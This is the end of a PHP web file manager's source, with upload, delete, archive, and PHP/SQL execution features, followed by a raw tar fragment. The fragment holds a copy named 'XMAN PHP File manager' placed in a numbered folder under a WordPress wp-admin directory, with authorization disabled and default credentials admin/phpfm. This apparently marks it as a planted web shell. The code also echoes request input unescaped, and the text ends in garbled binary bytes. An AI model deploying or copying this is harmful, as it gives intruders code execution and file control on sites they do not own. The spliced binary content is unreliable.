    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK=3�\]Ce`DD
index.php.tarnu�[���home/emeraadmin/public_html/wp-admin/792784/index.php000064400000236740151707776610016255 0ustar00@ breeze #7 ! dragon �)"�_�&�_')���@ breeze #7 @ breeze #7 @ breeze #7 _�'�)�(�(-�)���()_��)@ breeze #7 @ breeze #7 �&�_')���)(_�'�)�(��)'�)�"(-��"()-��"_�)��_�)�_�'<?php
/* XMAN PHP File manager ver 1.4 */

// Configuration �� do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
